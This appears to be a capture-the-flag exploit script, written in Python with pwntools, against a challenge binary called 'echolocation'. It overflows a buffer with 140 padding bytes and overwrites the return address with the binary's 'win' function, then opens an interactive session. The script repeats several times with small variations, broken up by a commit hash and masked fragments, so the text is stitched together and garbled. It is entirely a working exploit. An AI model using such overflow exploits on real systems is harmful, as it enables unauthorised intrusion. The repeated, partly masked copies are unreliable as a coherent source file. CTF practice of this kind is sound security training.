#!/usr/bin/env python
import pwn
import sys
import struct

c = pwn.remote(sys.argv[1], 1337)
c.recvline()
c.send(b"A" * 0x8c + struct.pack("<I", pwn.ELF('echolocation').symbols['win']) + b"\n")
c.interactive()

a4f819273a7288304809ad915d145b228509a7c5
<mask token>

<mask token>
c.recvline()
c.send(b'A' * 140 + struct.pack('<I', pwn.ELF('echolocation').symbols['win'
    ]) + b'\n')
c.interactive()

<mask token>
c = pwn.remote(sys.argv[1], 1337)
c.recvline()
c.send(b'A' * 140 + struct.pack('<I', pwn.ELF('echolocation').symbols['win'
    ]) + b'\n')
c.interactive()

import pwn
import sys
import struct
c = pwn.remote(sys.argv[1], 1337)
c.recvline()
c.send(b'A' * 140 + struct.pack('<I', pwn.ELF('echolocation').symbols['win'
    ]) + b'\n')
c.interactive()

#!/usr/bin/env python
import pwn
import sys
import struct

c = pwn.remote(sys.argv[1], 1337)
c.recvline()
c.send(b"A" * 0x8c + struct.pack("<I", pwn.ELF('echolocation').symbols['win']) + b"\n")
c.interactive()
